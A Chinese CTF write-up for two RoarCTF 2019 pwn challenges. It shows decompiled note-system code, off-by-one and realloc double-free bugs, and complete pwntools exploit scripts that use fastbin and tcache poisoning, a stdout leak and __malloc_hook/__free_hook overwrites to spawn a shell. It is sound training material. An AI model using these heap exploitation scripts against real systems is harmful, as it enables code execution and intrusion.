美文网首页CTF-PWN
RoarCTF 2019 pwn

RoarCTF 2019 pwn

作者: Nevv | 来源:发表于2019-10-21 17:05 被阅读0次

    嘶吼 CTF 2019 PWN 题解

    easy_pwn

    题目信息

    nevv@ubuntu:~/Desktop$ ./easy_pwn.dms 
    Note system
    1. create a note
    2. write note
    3. drop the note
    4. show the note
    5. exit
    choice:
    nevv@ubuntu:~/Desktop$ checksec easy_pwn.dms
    [*] '/home/nevv/Desktop/easy_pwn.dms'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    main
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __int64 v3; // rdi
      unsigned int v5; // [rsp+4h] [rbp-Ch]
      __int64 savedregs; // [rsp+10h] [rbp+0h]
    
      sub_AD0(a1, a2, a3);
      while ( 1 )
      {
        print_menu();
        v3 = v5;
        v5 = get_choice(v5);
        switch ( (unsigned int)&savedregs )
        {
          case 1u:
            create(v3);
            break;
          case 2u:
            puts("Tell me the secret about you!!");
            writeNote();
            break;
          case 3u:
            deleteNote();
            break;
          case 4u:
            showNote(v3);
            break;
          case 5u:
            return 0LL;
          default:
            puts("Wrong try again!!");
            break;
        }
      }
    }
    
    create
    __int64 create()
    {
      __int64 result; // rax
      int v1; // ST0C_4
      unsigned int i; // [rsp+4h] [rbp-1Ch]
      int v3; // [rsp+8h] [rbp-18h]
      signed int v4; // [rsp+8h] [rbp-18h]
      void *v5; // [rsp+10h] [rbp-10h]
    
      result = 0LL;
      for ( i = 0; (signed int)i <= 15; ++i )
      {
        result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
        if ( !(_DWORD)result )
        {
          printf("size: ");
          v4 = get_choice(v3);
          if ( v4 > 0 )
          {
            if ( v4 > 4096 )  
              v4 = 4096;
            v5 = calloc(v4, 1uLL);
            if ( !v5 )
              exit(-1);
            *((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
            *((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
            qword_202048[2 * (signed int)i] = v5;
            v1 = qword_202048[2 * (signed int)i] & 0xFFF;
            printf("the index of ticket is %d \n", i);
          }
          return i;
        }
      }
      return result;
    }
    
    • 最多16个note
    • 大小最大为4096
    • 使用calloc分配内存
    • unk_202040存储记录是否正在使用的flag,unk_202044记录大小
    • qword_202048数组中保存content地址
    writeNote
    __int64 writeNote()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      signed int v2; // [rsp+Ch] [rbp-14h]
      signed int v3; // [rsp+10h] [rbp-10h]
      int v4; // [rsp+14h] [rbp-Ch]
    
      printf("index: ");
      v2 = get_choice(v1);
      v3 = v2;
      if ( v2 >= 0 && v2 <= 15 )
      {
        v2 = *((_DWORD *)&unk_202040 + 4 * v2);
        if ( v2 == 1 )
        {
          printf("size: ");
          v2 = get_choice(1);
          v4 = modify_size(*((_DWORD *)&unk_202044 + 4 * v3), v2);
          if ( v2 > 0 )
          {
            printf("content: ", (unsigned int)v2);
            v2 = writecontent(qword_202048[2 * v3], v4);
          }
        }
      }
      return (unsigned int)v2;
    }
    

    这里 modifyize 函数会调整修改的大小,造成单字节溢出:

    __int64 __fastcall modify_size(signed int a1, unsigned int a2)
    {
      __int64 result; // rax
    
      if ( a1 > (signed int)a2 )
        return a2;
      if ( a2 - a1 == 10 )
        LODWORD(result) = a1 + 1;
      else
        LODWORD(result) = a1;
      return (unsigned int)result;
    }
    
    deleteNote
    __int64 deleteNote()
    {
      int v0; // eax
      int v2; // [rsp+Ch] [rbp-14h]
      int v3; // [rsp+10h] [rbp-10h]
      __int64 v4; // [rsp+10h] [rbp-10h]
    
      printf("index: ");
      v0 = get_choice(v3);
      v4 = v0;
      v2 = v0;
      if ( v0 >= 0LL && v0 <= 15LL )
      {
        v4 = *((signed int *)&unk_202040 + 4 * v0);
        if ( v4 == 1 )
        {
          *((_DWORD *)&unk_202040 + 4 * v0) = 0;
          *((_DWORD *)&unk_202044 + 4 * v0) = 0;
          free((void *)qword_202048[2 * v0]);
          qword_202048[2 * v2] = 0LL;
        }
      }
      return v4;
    }
    
    showNote
    __int64 showNote()
    {
      int v1; // [rsp+0h] [rbp-10h]
      __int64 v2; // [rsp+0h] [rbp-10h]
    
      printf("index: ");
      LODWORD(v2) = get_choice(v1);
      HIDWORD(v2) = v2;
      if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
      {
        LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
        if ( (_DWORD)v2 == 1 )
        {
          printf("content: ", v2);
          LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
        }
      }
      return (unsigned int)v2;
    }
    

    漏洞分析

    • 写content内容的时候存在off by one

    • 和0ctf Babyheap 2018类似,但是更简单了

    EXP

    # coding:utf-8
    from pwn import *
    elf = ELF("./easy_pwn.dms")
    # p = process("./easy_pwn.dms")
    
    context.log_level = "info"
    p = remote("39.97.182.233",49298)
    def alloc(size):
        p.recvuntil("choice: ")
        p.sendline("1")
        p.recvuntil("size: ")
        p.sendline(str(size))
    
    def free(index):
        p.recvuntil("choice: ")
        p.sendline("3")
        p.recvuntil("index: ")
        p.sendline(str(index))
    
    def update(index, size, content):
        p.recvuntil("choice: ")
        p.sendline("2")
        p.recvuntil("index: ")
        p.sendline(str(index))
        p.recvuntil("size: ")
        p.sendline(str(size))
        p.recvuntil("content: ")
        p.sendline(content)
    
    def show(index):
        p.recvuntil("choice: ")
        p.sendline("4")
        p.recvuntil("index: ")
        p.sendline(str(index))
    
    libc_offset = 0x3c4b78
    one_offset = 0x4526a
    
    ##### leak_address #####
    alloc(0x58) #0
    alloc(0x60) #1
    alloc(0x60) #2
    alloc(0x60) #3
    alloc(0x60) #4
    update(0, 0x58 + 10, "A"*0x58 + "\xe1") # modify #1 size
    
    free(1)   #1   # to unsortedbin
    
    alloc(0x60) #1 # malloc from fake #1
    show(2) # in unsorted bin --> store main_arena
    p.recvuntil("content: ")
    leak = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = leak - libc_offset
    alloc(0x60) # 5 <==> 2 
    main_arena = leak - 0x58
    print("libc_base =====> %s" % hex(libc_base))
    print("main_arena =====> %s" % hex(main_arena))
    
    """
    pwndbg> x /30gx 0x202048+0x55a10cb37000
    0x55a10cd39048: 0x000055a10d797010  0x0000006000000001
    0x55a10cd39058: 0x000055a10d797070  0x0000005000000001
    0x55a10cd39068: 0x000055a10d7970e0  0x0000006000000001
    0x55a10cd39078: 0x000055a10d797140  0x0000006000000001
    0x55a10cd39088: 0x000055a10d7971b0  0x0000005000000001
    0x55a10cd39098: 0x000055a10d7970e0  0x0000000000000000
    """
    
    
    libc_realloc = libc_base + 0x846c0
    fake_chunk = libc_base + 0x3c4aed
    free(2) 
    
    
    update(5,0x8,p64(main_arena-0x33))
    alloc(0x60) # 2
    alloc(0x60) # 6
    
    one = libc_base + one_offset
    pay = '\x00'*11 + p64(one) + p64(libc_realloc+2)
    update(6,len(pay),pay)
    
    alloc(0x100) # 2 
    
    p.interactive()
    

    题目链接:https://github.com/hebtuerror404/CTF_competition_warehouse_2019/tree/master/2019_RoarCTF/PWN

    realloc magic

    题目信息

    main
    // local variable allocation has failed, the output may be wrong!
    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      int v3; // eax
    
      init(*(_QWORD *)&argc, argv, envp);
      while ( 1 )
      {
        menu();
        v3 = get_int();
        switch ( v3 )
        {
          case 2:
            fr();
            break;
          case 666:
            ba();
            break;
          case 1:
            re();
            break;
          default:
            puts("invalid choice");
            break;
        }
      }
    }
    
    666 ba 函数
    int ba()
    {
      if ( lock )
        exit(-1);
      lock = 1;
      realloc_ptr = 0LL;
      return puts("Done");
    }
    
    free函数
    int fr()
    {
      free(realloc_ptr);
      return puts("Done");
    }
    
    • free后没有置为NULL
    realloc函数
    int re()
    {
      unsigned int size; // ST0C_4
    
      puts("Size?");
      size = get_int();
      realloc_ptr = realloc(realloc_ptr, size);
      puts("Content?");
      read(0, realloc_ptr, size);
      return puts("Done");
    }
    

    漏洞分析

    存在 double free , 观察 realloc 源码可知当传入的chunk不为空,且size为0的情况下,会free掉原chunk并且返回0。

      if (bytes == 0 && oldmem != NULL)
        {
          __libc_free (oldmem); return 0;
        }
    
    • tcachebin中的链表指针指向的下一个chunk的fd字段

    • 泄漏libc,使用stdout

    因此需要控制stdout结构体满足以下条件实现任意泄露:
    _IO_write_base指向想要泄露的地方。
    _IO_write_ptr指向泄露结束的地址。
    _IO_read_end等于_IO_write_base以绕过多余的代码。
    满足这三个条件,可实现任意读。
    

    大体的利用方法就是利用unsorted bin的在tcachefastbin的fd上踩出main_arena的地址,然后部分覆盖修改main_arena的地址实现对stdout的地址进行爆破,从而劫持stdout以达到泄露的目的 。

    对于没有tcache的 glibc 版本,我们可以使用 fastbin attack就好,因为_IO_2_1_stdout_上面就是_IO_2_1_stderr_stderr->__pad2一般是指向_IO_wide_data_2的指针,而_IO_wide_data_2是在libc中的,所以我们可以用其来伪造size。

    EXP

    • 流程大概如下:
      • 首先利用double free,构造出同时在tcache中和unsortbin中的chunk
      • 然后利用realloc的特性,使得地址在unsortbin chunk的chunk和unsortbin合并
        • 这样就可以修改unsortbin中的low bit 使其指向stdout
      • 分配到stdout并修改_IO_2_1_stdout_结构,泄漏libcbase地址
      • 再次利用double free,修改tcache中的fd字段指向freehook,由于tcache在分配的时候不对size字段进行检查,因此下次再分配的时候分配到freehook处,使用one_shot即可
    #coding:utf-8
     
    from pwn import *
    binary = './pwn.dms'
     
    io = None
    
    sa = lambda x,y : io.sendafter(x,y)
    sl = lambda x : io.sendline(x)
    sd = lambda x : io.send(x)
    sla = lambda x,y : io.sendlineafter(x,y)
    rud = lambda x : io.recvuntil(x,drop=True)
    ru = lambda x : io.recvuntil(x,timeout = 0.2)
     
    def lg(s, addr):
        print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
    
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
     
    libc_base,__malloc_hook,system = None,None,None
     
    def magic(offset):
        global libc_base,__malloc_hook,system,__free_hook
        leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
        lg('leak',leak)
        libc_base = leak - offset
        lg('base',libc_base)
        __malloc_hook = libc_base + libc.symbols['__malloc_hook']
        __free_hook = libc_base + libc.symbols['__free_hook']
        system = libc_base + libc.symbols['system']
     
     
    def debug(msg=""):
        pwnlib.gdb.attach(io,msg)
     
    def add(sz,con):
        sla(">>","1")
        io.sendlineafter("Size?",str(sz))
        sa("?",con)
     
    def free():
        sla(">>","2")
     
    def magic_():
        sla(">>","666")
     
    def exploit():
    
    
        add(0x70,'a')
        add(0x0,'')
        add(0x100,'a')
        add(0x0,'')
        add(0xe0,'a')
        add(0x0,'')
        add(0x100,'a')
    
        [free() for i in range(7)] # tcache 0x110[7]
    
        add(0x0,'')  # main_arena 0x110
        # debug()
        """
        pwndbg> bins
        tcachebins
        0x80 [  1]: 0x5635423da260 ◂— 0x0
        0xf0 [  1]: 0x5635423da3f0 ◂— 0x0
        0x110 [  7]: 0x5635423da2e0 —▸ 0x7fc3d952eca0 (main_arena+96) —▸ 0x5635423da4d0 ◂— 0x0
        unsortedbin
        all: 0x5635423da2d0 —▸ 0x7fc3d952eca0 (main_arena+96) ◂— 0x5635423da2d0
        smallbins
        """
        add(0x70,'a') # malloc 0x5635423da260
     
        # debug()
        add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57') 
        # 1.realloc heap_260 and merge unsortedbin
        # 2.modift 0x5635423da2e0 chunk size to 0x41
        # 3.modify the low bits because  the main_arena and (_IO_2_1_stdout_) is adjacent.
        """
    
        0xf0 [  1]: 0x56404f2a83f0 ◂— 0x0
        0x110 [  7]: 0x56404f2a82e0 —▸ 0x7fc1145c5760 (_IO_2_1_stdout_) ◂— 0xfbad2887
        fastbins
        """
     
        add(0x0,'') # free to tacache 0x190
    
        add(0x100,'a') # malloc tacache 0x110[0]
    
        """
        tcachebins
        0xf0 [  1]: 0x560d6b96b3f0 ◂— 0x0
        0x110 [  6]: 0x7fd6e9015760 (unsafe_state+32) ◂— 0x3
        0x190 [  1]: 0x560d6b96b260 ◂— 0x0
        """
    
        add(0x0,'')  # free to tcache 0x40
        """
        tcachebins
        0x40 [  1]: 0x558b354b42e0 ◂— 0x0
        0xf0 [  1]: 0x558b354b43f0 ◂— 0x0
        0x110 [  6]: 0x7f5c3e755760 (sys_errlist+512) —▸ 0x7f5c3e520551 ◂— 'Machine is not on the network'
        0x190 [  1]: 0x558b354b4260 ◂— 0x0
        """
    
        add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak
    
        magic(0x3ed8b0) # get libc_base
        magic_()  # ptr->null
        """
        tcachebins
        0x40 [  1]: 0x560f2b2d02e0 ◂— 0x0
        0xf0 [  1]: 0x560f2b2d03f0 ◂— 0x0
        0x110 [  5]: 0xfbad2887
        0x190 [  1]: 0x560f2b2d0260 ◂— 0x0
        """
    
        add(0x70,'a')
        add(0x0,'')
        add(0x110,'a')
        add(0x0,'')
        add(0xf0,'a')
        add(0x0,'')
        add(0x110,'a')
        # debug()
        """
        tcachebins
        0x40 [  1]: 0x55ca6898b2e0 ◂— 0x0
        0x80 [  1]: 0x55ca6898b4e0 ◂— 0x0
        0xf0 [  1]: 0x55ca6898b3f0 ◂— 0x0
        0x100 [  1]: 0x55ca6898b680 ◂— 0x0
        0x110 [  5]: 0xfbad2887
        0x190 [  1]: 0x55ca6898b260 ◂— 0x0
        """
        [free() for i in range(7)]
        add(0x0,'')
        add(0x70,'a')
        """
        tcachebins
        0x40 [  1]: 0x555a5832b2e0 ◂— 0x0
        0xf0 [  1]: 0x555a5832b3f0 ◂— 0x0
        0x100 [  1]: 0x555a5832b680 ◂— 0x0
        0x110 [  5]: 0xfbad2887
        0x120 [  7]: 0x555a5832b560 —▸ 0x7fc76a974ca0 (main_arena+96) —▸ 0x555a5832b770 ◂— 0x0
        0x190 [  1]: 0x555a5832b260 ◂— 0x0
        fastbins
        0x20: 0x0
        0x30: 0x0
        0x40: 0x0
        0x50: 0x0
        0x60: 0x0
        0x70: 0x0
        0x80: 0x0
        unsortedbin
        all: 0x555a5832b550 —▸ 0x7fc76a974ca0 (main_arena+96) ◂— 0x555a5832b550
        """
    
        add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8)) 
        # merge heap_4e0@size_0x80 and unsortbin heap_550@size_120
        # so tcache 0x120 [  7] 0x555a5832b560 -> free_hook
        debug()
        """
        pwndbg> x /40gx 0x564d5eca24e0
        0x564d5eca24e0: 0x0000000000000000  0x0000000000000000
        0x564d5eca24f0: 0x0000000000000000  0x0000000000000000
        0x564d5eca2500: 0x0000000000000000  0x0000000000000000
        0x564d5eca2510: 0x0000000000000000  0x0000000000000000
        0x564d5eca2520: 0x0000000000000000  0x0000000000000000
        0x564d5eca2530: 0x0000000000000000  0x0000000000000000
        0x564d5eca2540: 0x0000000000000000  0x0000000000000000
        0x564d5eca2550: 0x0000000000000000  0x0000000000000041
        0x564d5eca2560: 0x00007fa55fbf68e8  0x00007fa55fbf4ca0
        0x564d5eca2570: 0x0000000000000000  0x0000000000000000
        """
    
        add(0x0,'')
     
        add(0x110,'a') # malloc tcache 0x120 0x555a5832b560 
        add(0x0,'')
        lg('__free_hook',__free_hook)
     
        one_gg = libc_base + 0x4f322
        add(0x110,p64(one_gg)) # leak
        # There is no security check in 
        sl("2")
     
        success(" get shell ")
        # debug()
    
     
        io.interactive()
     
     
    if __name__ == "__main__":
        while(True):
            io = process(binary,  env=env)
            try:
                exploit()
                io.close()
            except Exception as e:
                continue
    """
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      rcx == NULL
     
    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL
     
    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    """
    

    参考链接:

    相关文章

      网友评论

        本文标题:RoarCTF 2019 pwn

        本文链接:https://www.haomeiwen.com/subject/dpatvctx.html